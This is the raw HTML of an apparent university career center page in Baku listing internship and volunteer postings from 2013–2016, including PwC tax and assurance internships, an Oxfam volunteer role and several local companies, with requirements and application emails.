margin-bottom:0cm;margin-bottom:.0001pt;line-height:13.5pt;background:white\"\"=\"\"><strong>DETAILS</strong>:</p>\r\n<ul type=\"disc\">\r\n <li style=\"\" color:#333333;margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">LOCATION: Baku, Azerbaijan</li>\r\n <li style=\"\" color:#333333;margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">DURATION: 2-3 months (potentials to be expanded)</li>\r\n <li style=\"\" color:#333333;margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">WORKING HOURS: Flexible, but mandatory participation in\r\n     trainings and workshops, and writing assignments.</li>\r\n <li style=\"\" color:#333333;margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">CLOSING DATE: 10 November 2016</li>\r\n</ul>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:13.5pt;background:white\"\"=\"\"><strong>ROLE OVERVIEW:</strong></p>\r\n<p style=\"\" margin-bottom:11.25pt;text-indent:-18.0pt;line-height:13.5pt;background:white\"\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuccessful candidates will work under close supervision of\r\nexisting staff of Program Department at the IEPF’s head office.</p>\r\n<p style=\"\" margin-bottom:11.25pt;text-indent:-18.0pt;line-height:13.5pt;background:white\"\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n3 day training about journalism and academic writing will be\r\noffered; participation in trainings is a must for successful completion of the\r\ninternship.</p>\r\n<p style=\"\" margin-bottom:11.25pt;text-indent:-18.0pt;line-height:13.5pt;background:white\"\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuccessful candidate will be responsible for assisting in and/or\r\nexecuting various programmatic events, conducting research, translating emails\r\nand basic documents, providing interpreter services when required, and conducting\r\nanalysis on contemporary issues </p>\r\n<p style=\"\" margin-bottom:11.25pt;line-height:13.5pt;background:white\"\"=\"\"><strong>KEY ACTIVITY AREAS</strong> </p>\r\n<p style=\"\" margin-bottom:11.25pt;line-height:13.5pt;background:white\"\"=\"\"><strong>The IEPF – Eurasia Diary</strong> (for more information\r\nplease visit: <a href=\"http://www.iepf-ngo.org/\">http://www.iepf-ngo.org/</a> and <a href=\"http://eurasiadiary.com/\">http://eurasiadiary.com/</a> ):</p><ul><li>Media Development;</li><li>Refugees and IDPs issues;</li><li>Community Development;</li><li>Peacemaking Actions and Conflict Resolutions.</li></ul><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:21.3pt;line-height:150%;background:white\"\"=\"\"><br></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-14.2pt;line-height:150%;background:white\"\"=\"\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Required Skills and Experience:</strong></p><ul><li>Currently enrolled\r\nstudents or recent graduates of colleges or universities;</li><li>Good interpersonal and\r\ncommunication skills;</li><li>Good analytical skills\r\nand knowledge of world politics/economics/political science/international\r\nrelations;</li><li>Ability and strong motivation\r\nto work with international organizations and non-profit academic organizations\r\nto develop partnership opportunities;</li><li>Good working knowledge of written and spoken English and\r\nAzerbaijani is a must. Knowledge of Russian, Arabic, or Turkish is an asset;</li><li>Computer literacy: Microsoft Office, Outlook/Internet;</li><li>Ability to learn in a busy office: ability to work under\r\npressure, prioritize work and demonstrate personal initiative;</li><li>Flexible, pro-active and enthusiastic team player with a\r\npersistent drive to deliver results;</li></ul>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:13.5pt;background:white\"\"=\"\"><strong>HOW TO APPLY:</strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:13.5pt;background:white\"\"=\"\">Interested\r\npersons should submit </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-indent:-18.0pt;line-height:13.5pt;background:white\"\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nA current CV form that details their relevant work and\r\neducational experiences </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-indent:-18.0pt;line-height:13.5pt;background:white\"\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A cover letter stating\r\ntheir interests (one page)</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-indent:-18.0pt;line-height:13.5pt;background:white\"\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A sample of academic\r\nwriting, which would demonstrate the applicants’ writing and analytical\r\nabilities (max. 1000 words)</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-indent:-18.0pt;line-height:normal;background:white\"\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuccessful applicants will be informed by November 14.</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:13.5pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:13.5pt;background:white\"\"=\"\">Applications\r\nshould be submitted through Career Development Center at Khazar University&nbsp;</p><p class=\"Default\"><strong><br></strong></p><p class=\"Default\"><strong>About us </strong></p><p>PwC provides industry\r\nfocused Assurance, tax, legal and business consulting services to build public\r\ntrust and enhance value for our clients and our stakeholders. More than 195,000\r\npeople in 157 countries across our network share their thinking, experience,\r\nand solutions to develop fresh perspectives and practical advice. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Intern Tax </strong></p>\r\n<p>A PwC internship is one\r\nof the most highly regarded in the business community so if you want to\r\nkick-start your career with one of the best, then we look forward to hearing\r\nfrom you! Our internship program can provide you with unparalleled\r\nopportunities to work alongside experienced professionals to develop new skills\r\nand qualities, put into practice what you have learnt at university and give\r\nyou exposure to what working life is like at PwC. </p>\r\n<p>During the program, you\r\nwill undertake challenging and relevant work through client engagements,\r\nnetworking events and other exciting opportunities. And to ensure that you are\r\nequipped with all the knowledge and tools to enable you to successfully\r\ncomplete your work throughout the program, you will be supervised and guided\r\nthroughout the entire internship period. At the completion of the internship,\r\nsubject to successful performance you will be offered a full-time position with\r\nthe firm so make sure that you demonstrate that you’re a passionate individual\r\nwho cares about your career in the profession and making a difference to your\r\npeers and clients!</p>\r\n<p>We offer internship with\r\nan opportunity to become a part of a big family within 6 months. </p>\r\n<p>What we offer\r\nAccelerated professional growth: Responsibility for part of a project from day\r\none to ensure its successful completion. Your responsibility and your role in\r\nprojects will grow as you progress. With us no two projects are the same. Each\r\nengagement challenges you to your limits and ensures your rapid growth.</p>\r\n<p><strong>Interaction with leaders:</strong> Working with colleagues having diverse\r\nbackgrounds and experience, who are true leaders in industry. You will have a\r\nchance to work directly with the top management of leading companies and\r\norganisations, analysing their challenges and presenting your solutions.</p>\r\n<p>We are more than a team,\r\nwe are family: You will become part of a team with leadership that is always\r\nopen for discussion, suggestions and ready to support your ideas. You will\r\nbecome part of an informal and friendly team that values each member. The only\r\nhierarchy is merit based. </p>\r\n<p>Opportunity to become a\r\nbusiness leader of tomorrow: Our alumni hold management positions at leading\r\ncompanies and organisations in different spheres. You will develop\r\nbest-in-class structured thinking, problem-solving and presentation skills,\r\nenabling you to build a strong foundation to become a decision maker in any\r\nindustry. </p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>You will </strong></p>\r\n<p> Have a chance to work within Corporate Tax\r\nconsulting of PwC Azerbaijan </p>\r\n<p> Carry out basic researches on specific matters\r\nunder supervision of more senior staff; </p>\r\n<p> Acquire skills and knowledge in tax legislation,\r\ndraft routine compliance and consulting letters to our clients </p>\r\n<p> Develop your technical\r\nskills on a daily basis by supporting projects and by interaction with our\r\nprofessional team </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Requirements </strong></p>\r\n<p>As an ideal candidate,\r\nyou will have: </p>\r\n<br><ul><li> A graduate degree with major in Finance &amp;\r\nAccounting, MBA, LLB or LLM in tax law. A degree from overseas University would\r\nbe an advantage.</li><li> Strong command of spoken and business written in\r\nAzeri, Russian and English (any other languages will be a plus)</li><li> Knowledge of tax legislation of Azerbaijan as\r\nwell as general principles of international taxation;</li><li> Proficient knowledge of Word, Excel, Power Point</li><li> Strong analytic and good problem structuring\r\nskills</li><li> Willingness to undertake new and challenging\r\ntasks</li><li> Strong communication and team working skills</li><li> Any relevant experience/background is good but\r\nnot required</li><li> Be motivated and\r\ndemonstrate initiative</li></ul><br>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>The skills we look for in future employees </strong></p>\r\n<p>&nbsp;</p>\r\n<p>All our people need to\r\ndemonstrate the skills and behaviours that support us in delivering our\r\nbusiness strategy. This is important to the work we do for our business, and\r\nour clients. These skills and behaviours make up our global leadership\r\nframework, ‘The PwC Professional’. </p>\r\n<p>The PwC Professional\r\nfocuses on five core attributes; whole leadership, business acumen, technical\r\ncapabilities, global acumen and relationships. We use this framework to\r\nrecruit, develop and assess our people, at all grades and all areas of our\r\nbusiness, because we expect all of our people to be leaders. </p>\r\n<p>For more information,\r\nplease visit: http://www.pwc.com/c1/en/index.jhtml </p>\r\n<p>How to apply </p>\r\n<p>Please\r\nsubmit your application on-line by applying to Intern -Tax vacancy #12794BR\r\npublished on our Career section at www.pwc.com/az . Application deadline is 01\r\nNovember 2016</p>\r\n<p><strong>&nbsp;</strong></p><p class=\"Default\"><strong><br></strong></p><p class=\"Default\"><strong>PWC</strong></p><p class=\"Default\"><strong>About us</strong></p><p><strong>&nbsp;</strong></p>\r\n<p>PwC provides industry\r\nfocused Assurance, tax, and business consulting services to build public trust\r\nand enhance value for our clients and our stakeholders. More than 195,000\r\npeople in 157 countries across our network share their thinking, experience,\r\nand solutions to develop fresh perspectives and practical advice. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Internship opportunities in Assurance </strong></p>\r\n<p>We are happy that best\r\ngraduates and business community believe PwC internship is most highly regarded\r\nso if you want to kick-start your career with one of the best, then we look\r\nforward to hearing from you! Our internship program can provide you with\r\nunparalleled opportunities to work alongside experienced professionals to\r\ndevelop new skills and qualities, put into practice what you have learnt at\r\nuniversity and give you exposure to what working life is like at PwC. </p>\r\n<p>Join our leading\r\npractice and you will be part of the team that gets to grips with every aspect\r\nof clients\' activities, understanding their business to identify where our\r\nhigh-quality Assurance can add insight and value. It\'s critical work that\r\nenhances corporate governance and plays an important role in ensuring the\r\nreliability and relevance of business information. Work with our prestigious\r\nclient list and you will develop the business skills, knowledge and\r\nrelationships you need to do well in a career that\'s about so much more than\r\nnumbers. You will need to be able to think independently and confidently about\r\nsharing your point of view. </p>\r\n<p>We offer internship with\r\nan opportunity to become a part of a big family within 6-9 months. </p>\r\n<p>During the program, you\r\nwill undertake challenging and relevant work through client engagements,\r\nnetworking events and other exciting opportunities. And to ensure that you are\r\nequipped with all the knowledge and tools to enable you to successfully\r\ncomplete your work throughout the program, you will be supervised and guided\r\nthroughout the entire internship period. At the completion of the internship,\r\ndepending on the needs of the business, you may be offered a full-time position\r\nwith the firm so make sure that you demonstrate that you are a passionate\r\nindividual who cares about your career in the profession and making a\r\ndifference to your peers and clients! </p>\r\n<p>&nbsp;</p>\r\n<p><strong>You will </strong></p>\r\n<p> Taking part in audits under the International\r\nStandards in Auditing </p>\r\n<p> Assisting clients in preparation of financial\r\nstatements under the International Financial Reporting Standards </p>\r\n<p> Conduct audit/review procedures on clients’\r\naccounting and control systems </p>\r\n<p> Have an opportunity to participate in Advisory\r\nand consulting engagements </p>\r\n<p> Develop your technical\r\nskills in Information Technology by getting training and utilizing our top\r\naudit support and operational software solutions </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Requirements </strong></p>\r\n<p>As an ideal candidate,\r\nyou will have: </p>\r\n<br><ul><li> Commitment to a long term career in\r\naudit/consultancy</li><li> A graduate/master degree from university with\r\nmajor in finance, accounting, economics, math or statistics</li><li> Strong command of spoken and written Azeri,\r\nRussian and English</li><li> Proficient knowledge of Microsoft office</li><li> Strong analytical and good problem structuring\r\nskills</li><li> Willingness to undertake new and challenging\r\ntasks</li><li> Strong communication and team working skills</li><li> Flexibility to travel to Azerbaijan regions and\r\nabroad</li><li> Proactive approach and\r\nability to prioritize different tasks</li></ul><br>\r\n<p><strong>The skills we look for\r\nin future employees </strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>All our people need to\r\ndemonstrate the skills and behaviours that support us in delivering our\r\nbusiness strategy. This is important to the work we do for our business, and\r\nour clients. These skills and behaviours make up our global leadership\r\nframework, ‘The PwC Professional’. </p>\r\n<p>The PwC Professional\r\nfocuses on five core attributes; whole leadership, business acumen, technical\r\ncapabilities, global acumen and relationships. We use this framework to\r\nrecruit, develop and assess our people, at all grades and all areas of our\r\nbusiness, because we expect all of our people to be leaders. </p>\r\n<p>For more information,\r\nplease visit: http://www.pwc.com/c1/en/index.jhtml </p>\r\n<p>How to apply </p>\r\n<p>Please\r\nsubmit your application on-line by applying to Intern -Assurance vacancy #\r\n12772BR published on our Career/Intern and Graduate jobs section at <a href=\"http://www.pwc.com/az\">www.pwc.com/az</a></p>\r\n<p>&nbsp;</p><p><strong>LEVELAND is Hiring!</strong></p>\r\n<p><strong>Internship Opportunities for Students and Graduates</strong></p>\r\n<p><strong>About:</strong> LeveLand is an education center which provides Training Courses,\r\nSeminars, Language Courses, Scholarship Programs and Career Advice.</p>\r\n<p><strong>Requirements:</strong> Fluent in English and Russian; </p>\r\n<p>Very active and responsible</p>\r\n<p>Interested\r\ncandidates are encouraged to apply for the Internship Program e-mailing CVs to\r\nthe following e-mail address <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> indicating “Internship_LeveLand” in the subject line.</p>  <p><strong><br></strong></p><p><strong><br></strong></p><h4><strong><span style=\"font-size:12.0pt;line-height:107%;font-family:\'Times New Roman\',\'serif\'\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media7547228227767122\" width=\"150\" height=\"100\">Join\r\nthe CIBS Volunteer Program!</span></strong></h4><p>If you want to improve yourself, get experience, participate in our trainings and\r\nmake new friends, then join the CIBS team!</p>\r\n<p>By\r\njoining the CIBS Volunteer Program:</p><ul><li>You will gain your first work experience</li><li>You will learn teamwork</li><li>You will participate in projects</li><li>You will develop leadership abilities</li><li>You will discover your abilities and\r\nresources</li><li>You will communicate with experts and\r\npsychologists</li><li>You will gain knowledge and abilities\r\nuseful for your career</li><li>At the end of the internship program you\r\nwill receive a recommendation letter</li></ul><br>\r\n<p>&nbsp;</p>\r\n<p>NOTE* This volunteer program is for students.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><span lang=\"AZ-LATIN\" style=\"font-size:large\">ABOUT\r\nUS</span></strong></p>\r\n<p>CIBS\r\n(Caspian İnternational Business Services) has been providing training and\r\nconsultation services in Azerbaijan since 2013.&nbsp;\r\nThe company provides services in its areas of expertise, including\r\nprofiling, lie detection and psychology.&nbsp;\r\n</p>\r\n<p>&nbsp;</p>\r\n<p><strong><span style=\"font-size:large\">OUR PURPOSE</span></strong></p>\r\n<p>The\r\npriority of CIBS is education and development, and the goal of the Center is to\r\nprovide an alternative perspective and practical approach to psychology. Our\r\nmain aims are continual development, innovation and quality customer service.<br>\r\n<br>\r\n</p>  <p><br></p><p><strong style=\"font-size:large\">Azersun Holding Announces Paid\r\nInternship Program </strong></p><p>Work Place:\r\nAzerbaijan Industry Bank</p>\r\n<p>Period of\r\nInternship: 3 months</p>\r\n<p>Requirements;</p><p>Higher Education in Economics</p>\r\n<p>Language Skills: Azerbaijani, Russian and English</p>\r\n<p>Candidates\r\ncompleting the program successfully will be offered opportunities to continue\r\nworking in the bank.</p>\r\n<p>Candidates are\r\nencouraged to send their CVs to the following e-mail address: <a href=\"mailto:cv@azersun.com\">cv@azersun.com</a>, indicating “Internship\r\nProgram” in the subject line.</p>  <p><strong><br></strong></p><p><strong>“</strong><strong>AZERCELL DAY</strong><strong>”</strong></p><p>&nbsp;</p><p>Presentation of the project “BARAMA”&nbsp;</p><p>17 March, 2016</p><p>All day</p><p>Neftchilar Campus&nbsp;</p><p>İf you have any questions come up to HELP DESK for more information!</p><p>&nbsp;</p><p><strong>AIESEC Internship Opportunity</strong></p><p>&nbsp;</p><p>AIESEC provides an international experience with an emphasis on leadership development. We are an entirely youth and student run organization and our focus is on creating a positive impact and unlocking the potential of young people.</p><p>&nbsp;</p><p>AIESEC offers you the platform to find an international volunteer experience that is right for you. Our dedicated members, present at over 40 universities across the United States, will work with you to find a Global Citizen experience that\'s right for you, assist you with documents and visa processes, and ensure that you are prepared for your experience abroad! Once you arrive, AIESEC members in that country will assist you with settling into your new home away from home. AIESEC in the United States also offers 24/7 support to our participants while abroad.</p><p>&nbsp;</p><p>What will you gain from the Global Citizen program?</p><p>&nbsp;</p><ul type=\"disc\"><li>International service experience in a dynamic learning&nbsp;environment.</li><li>Opportunity to be a part of an international team &amp; gain global perspective.</li><li>Enhance your leadership&nbsp;skills through experience and exposure.</li><li>Network with young, like-minded people across the globe and engage with AIESEC\'s external partners.</li></ul><p>&nbsp;</p><p><strong>Azerbaijan Phoenix Culture Association Internship Program</strong></p><p>The main objective of the internship program is to provide practical pportunities for stuents to learn&nbsp;about professional relationshiops and management culture firsthand and to allow them to see the&nbsp;</p><p>Association’s local and international activities. Participation in this internship program will provide&nbsp;the interns with theoretical knowledge and practical experience in international professional ethics.&nbsp;</p><p>Interns are expected to make presentations about their new ideas and suggestions throughout the&nbsp;program as well as to successfully accomplish their assigned tasks. Their professional skills will also&nbsp;be developed by means of the “through the eyes of interns” model.&nbsp;</p><p>Requirements for candidates</p><p>Candidates must include knowledge of languages on their CVs. Preference is given to candidates with&nbsp;organizational skills. In addition, candidates should speak English and and should be able to speak&nbsp;</p><p>Azerbaijani and/or Russian.&nbsp;</p><p>Internship Duration</p><p>The internship program includes three quarters a year from November to June.&nbsp;</p><p>Responsibilities of interns</p><p>Interns will research one of the themes of ethical culture, management culture, legal culture or&nbsp;</p><p>intellectual culture. They will also fulfill daily assigned tasks. Interns may be recruited to work as&nbsp;marketing specialists. They will be also be able to make contributions to conferences, exhibitions and&nbsp;seminars. Detailed job descriptions will be presented to candidates who are selected.&nbsp;</p><p>Career opportunities</p><p>The intent of the internship program is to hire interns later to work for the Culturology Center LLC as&nbsp;marketing specialists.&nbsp;</p><p>The internship program is free of charge.&nbsp;</p><p>For additional information about career opportunities at Azerbaijan Phoenix Culture Association, you&nbsp;may contact the Career Center.&nbsp;</p><p>Send your CV to uhuseynova@khazar.org.</p><p><br></p><br><hr><p>&nbsp;</p><p><strong>Dear Computer Science, Computer Engineering and Telecommunication Students and Alumni,</strong></p><p>PROSYS MMC is seeking potential candidates for the Internship Program. The interested candidates are&nbsp;</p><p>encouraged to send CV to uhuseynova@khazar.org with the subject “Internship in Prosys” by&nbsp;</p><p>9 October, Friday, 2015.</p><p>Required fields</p><br><ul><li>Network</li><li>Programming</li><li>Telecommunication</li></ul><br><p>Short listed candidates will be invited to the interview.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp;Dear Students and Alumni,</strong></p><p><strong>The FireWorks HRM is hiring!</strong></p><p>Potential young candidates to the HR internship program with future job opportunities are encouraged to apply for the vacancy!</p><p>Please, see below the main requirements for this internship program:</p><p>&nbsp;<strong>Language skills:</strong>&nbsp;Russian –fluent, English –fluent and Azeri –fluent</p><p><strong>Computer skills:</strong>&nbsp;MS Office programs – advanced</p><p><strong>Soft skills:</strong>&nbsp;Self-confident, coachable, self-motivated, attentive, active user of social media, communicative, very dynamic</p><p>&nbsp;Duration of the Internship is: 3 months</p><p>The all potential candidates are welcome to send their CVs with “My Name is Intern” subject to&nbsp;<a href=\"mailto:cv@fworks.az\">cv@fworks.az</a></p><p>Career Center Team</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Dear Civil Engineers,</strong></p><p>Please send your completed application form to AMEC for Internship Program.</p><p>To get more information please visit Career Development Center!</p><p>&nbsp;</p><hr><p><strong><br></strong></p><p><strong>Dear All Majors,</strong></p><p>Baku European Games is seeking only GIRLS for the hostess vacancy.</p><p>Interested candidates are encouraged to send their CV to the following e-mail adress: leliyeva@khazar.org or visit Career Development Center (Room 206, OLD)</p><p>Career Center Team</p><p>&nbsp;</p><hr><p><br></p><p><em>Dear 3rd and 4th year Students,</em></p><p>We are pleased to inform that,&nbsp;<strong>JUNIOR ACHIEVEMENT AZERBAIJAN</strong>&nbsp;is seeking candidates for Career Orientation Project very urgently!</p><p>Only&nbsp;<strong>GIRLS</strong>&nbsp;can apply for the position!</p><p>Please send your Name, Surname, Cell phone and E-mail to&nbsp;<strong>uhuseynova@khazar.org</strong><strong></strong></p><p><strong><br></strong></p><hr><p><strong><br></strong></p><p><strong>Fireworks</strong>&nbsp;is hiring Internship program for 1 Graduate of&nbsp;<strong>Humanitarian faculty</strong>.</p><p>The only requirement is enthusiasm, good knowledge of Russian, English and Azeri.</p><p>The main advantage of our internship, that the graduates are learning about general office management things, working with documents, using office equipment, practicing in HR. At the end of internship Graduate will be provided with Recommendation letter and Certificate by our Company.</p><p>Interested candidates are urgently required to send their CV to the following e-mail address:&nbsp;<strong>uhuseynova@khazar.org</strong></p><p>&nbsp;</p><hr><p><strong><br></strong></p><p><strong>Dear Electronics and Telecommunication and Radio Engineering Specialists</strong></p><p>Very good news for you!</p><p><strong>AZERCOSMOS</strong>&nbsp;is requiring your CVs for the following Internship Programs.</p><p>Urgently 3rd and 4th year students are encouraged to send their CV to the following e-mail address:&nbsp;<strong>uhuseynova@khazar.org</strong></p><p><strong>Deadline, 7 February 2014, 15:00</strong></p><p>&nbsp;</p><hr><p><strong><br></strong></p><p><strong>Law and Development Public Association</strong>&nbsp;is seeking candidates for&nbsp;<strong>INTERNSHIP&nbsp;</strong>positions!</p><p>English Philology and English Translation faculty students are encouraged to apply very urgent.</p><p>Send your CV to the following e-mail address:&nbsp;<strong>uhuseynova@khazar.org.</strong></p><p><strong>DEADLINE is 4 February, 2014.</strong></p><p>&nbsp;</p><hr><p><strong><br></strong></p><p><strong>\'Heritas Translation\' is announcing Internship Program!</strong></p><p>The Internship Program will start from now and will continue till the end of March.</p><p>&nbsp;Send your CV to the following e-mail:<strong>uhuseynova@khazar.org</strong>&nbsp;indicating&nbsp;<em><strong>\'Heritas Translation\'</strong></em>&nbsp;Internship in the subject line.</p><p>&nbsp;Young translators are often advised to look for internships to train and to get experience. Don\'t miss the chance!</p><p>&nbsp;</p><hr><p><br></p><p>Caspian Investment and Development Corporation (CIDC) LLC is seeking candidates for&nbsp;<strong><em>RESEARCH AND DEVELOPMENT, Department of Marketing&nbsp;</em></strong>Internship program from Khazar University. CIDC is producing diapers, napkins, toilet papers.</p><p>Internship Program is paid</p><p>Boys are girls are encouraged to apply</p><p>No experience needed</p><p>Interest on Marketing and future Marketing Specialist</p><p>Internship will be in the Head Office of the Company</p><p>The duties are about to promote the products, to visit sales centers, to follow the current market based on company products and to offer several marketing activities.</p><p>Interested Candidates are encouraged to send their CV to&nbsp;<a href=\"mailto:agurbanov@cidc.az\" target=\"_blank\">agurbanov@cidc.az</a>&nbsp;or call 055 223 84 18; (012) 489 01 10 / 130</p><p>&nbsp;</p><hr><p>Dear Students,</p><p>Our new Partner&nbsp;<strong>SIMURG</strong>&nbsp;is seeking very active and outstanding 5 candidates for Internship Program</p><p>Urgently e-mail your CV:&nbsp;<strong>uhuseynova@khazar.org</strong></p><p><strong>Internship Period:&nbsp;November - June</strong></p><p>Your career starts here!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Very urgent!</strong><br><br>UN Human Rights Office is seeking Interns<br><br>E-mail your CV: uhuseynova@khazar.org&nbsp;</p><p><strong>&nbsp;</strong></p><hr><p>&nbsp;</p><p><strong>Psycho-Neurological Dispensary</strong><br>Internship Announcement<br><strong><em>POSITION SUMMARY:</em>&nbsp;&nbsp;</strong>Interns at Psycho-Neurological Dispensary<strong>&nbsp;</strong>delivers programs and services in the area of Psychologist and the area development skills.<br></p><p><strong><em>REQUIREMENTS</em></strong></p><ul><li>&nbsp;&nbsp;&nbsp; 3<sup>rd</sup>&nbsp;year of Bachelor degree in the field of Psychology;</li><li>&nbsp;&nbsp;&nbsp; At least passing 50% major classes;</li><li>&nbsp;&nbsp;&nbsp; Ability to work effectively with Patients&nbsp; and Disable People;</li><li>&nbsp;&nbsp;&nbsp; Ability to work with individuals and groups.</li><li>&nbsp;&nbsp;&nbsp; Very&nbsp; well developed organizational skills, effective communicator, team leader;</li><li>&nbsp;&nbsp;&nbsp; Proficiency in English languages is a must.</li></ul><p><br></p><p>Interested candidates are requested to send CV via e-mail to<strong>&nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a></strong>&nbsp;specifying the Job Title in the subject line. Only short listed candidates will be contacted.&nbsp; The deadline is May 15, 2013.</p><p>&nbsp;</p><hr><p><br></p><p>Place :&nbsp;Baku Education Information Center</p><p>Internship date :&nbsp;01.06.2013-01.08.2013</p><p>Interns:&nbsp;2 People</p><p>The Internship is offered through the cooperation aim to give students more experience.&nbsp; We utilize the University’s existing connections with educational partners to facilitate opportunities for students to gain work experience in professional sectors.&nbsp;<br></p><p><strong>Eligibility requirements</strong></p><p>- a currently-enrolled undergraduate student.<br>- to be good in English and one other working language<br>- Academic performance should be excellent, as demonstrated by recent&nbsp;&nbsp; university or institution records.&nbsp;<br>- Application for an internship should be supported by your university or related institution. A minimum requirement is a letter from one of your professors supporting your application.<br>- Applicants must have a demonstrated interest in the field of international education.<br>- Ability to adapt and work in a multi-cultural setting.&nbsp;<br>- Additional consideration will be given for any past work experiences<br><br>URGENT! Interested candidates should send their CV to the email: uhuseynova@khazar.org</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;</strong><strong>&nbsp;</strong>We are pleased to inform you that the Career&nbsp;Development&nbsp;Center will conduct a&nbsp;<strong>business meeting</strong>&nbsp;with</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;AMEC</strong></p><p>AMEC will present their Internship Opportunities for Khazar Students and will evaluate students to provide them two-year internship opportunities at AMEC.</p><p><em>The target group is second-year students</em></p><p><em>majoring in&nbsp;</em><strong><em>Oil &amp; Gas</em></strong><em>&nbsp;or</em><strong>&nbsp;<em>Civil Engineering.</em></strong><em>&nbsp;</em><strong><em>&nbsp;</em></strong><em>&nbsp;</em></p><p><strong>REMEMBER!</strong>&nbsp;Bring your&nbsp;<strong>CV&nbsp;</strong>and&nbsp;<strong>Grade List</strong>&nbsp;with you to the meeting.</p><p>Friday, 26 April, 2013</p><p>11:00 - 12:30</p><p>Khazar University Neftchiler Campus</p><p>Room 211 (II floor, old building)</p><p>For any inquiry, please visit the Career Development Center</p><p>Room 211 (II floor, old building)</p><p><br></p><h1 style=\"font-size:medium\"><hr><span style=\"font-size:large\"><br></span></h1><h1 style=\"font-size:medium\"><span style=\"font-size:large\">Terms of Reference</span><strong>&nbsp;</strong></h1><p><strong>Volunteer for Oxfam in Azerbaijan &nbsp;</strong></p><p><strong>Title: &nbsp;</strong>Governance and Development &nbsp;Volunteer</p><p><strong>Reporting to:&nbsp;</strong>Governance Programme Coordinator</p><p><strong>Tenure and Timetable:</strong>&nbsp;The Oxfam Volunteer is recruited for the period from 3 to 6 months, with possible changes to the duration upon agreement with the volunteer before the start. The volunteer is kindly asked to give notice if s/he wishes to step down with one month notice to allow the HR to recruit a successor.</p><p>Hours and times are flexible and can be negotiated on merits. Preferably a minimum 20 hours per week between Mon-Fri (9:00-18:00) is required to at least accomplish weekly plan, under the direct supervision of Governance Programme Coordinator.</p><p><strong>Remit:&nbsp;</strong>Under the term of reference, to support the Governance team in daily activities</p><p><strong>Including to:</strong></p><br><ul><li>Help to grow networks of Oxfam supporters and fundraisers</li><li>Organising and promoting fundraising events for general public</li><li>Provide innovative solutions for effective and convincing fundraising results</li><li>Event management and provision of Oxfam’s visibility</li><li>Taking notes at the meetings and writing reports &nbsp;</li><li>Taking part in the MEL (Monitoring, Evaluation and Learning) visits of Oxfam in the regions and summarising the visit outcomes in the report&nbsp;</li><li>Pay visits to project operation areas in Barda, Tartar and Agjabedi for photo shooting, video recording, taking interviews and collecting human stories</li><li>Administrative support to Governance Programme and its projects</li><li>Translation of documents, reports and human stories collected from project areas</li></ul><br><p><strong>Term:&nbsp;</strong>Oxfam covers food and travel expenses</p><p><strong>Volunteer Specification:</strong></p><br><ul><li>University Degree, preferably in Social Sciences, Media or Public Relations</li><li>Understanding and knowledge of &nbsp;development/NGO&nbsp; work</li><li>Preferred experience in working with campaigns/donation</li><li>Ability to coordinate the logistical side of events</li><li>Excellent writing and communication skills</li><li>Good computer skills</li><li>Adaptability and flexibility</li><li>Excellent interpersonal skills and organisational skills</li><li>Ability to work independently and as part of a team</li><li>Good interpersonal skills and the ability to work to timescales are important</li><li>Able to travel to Central Azerbaijan when needed</li></ul><br><p><strong>&nbsp;</strong></p><p>Applicants are required to send their CV and motivation letter and send by e-mail to&nbsp;<a href=\"mailto:Azerbaijan_jobs@oxfam.org.uk\">Azerbaijan_jobs@oxfam.org.uk</a>&nbsp;specifying \" Volunteer for Governance programme \"&nbsp; in the subject line 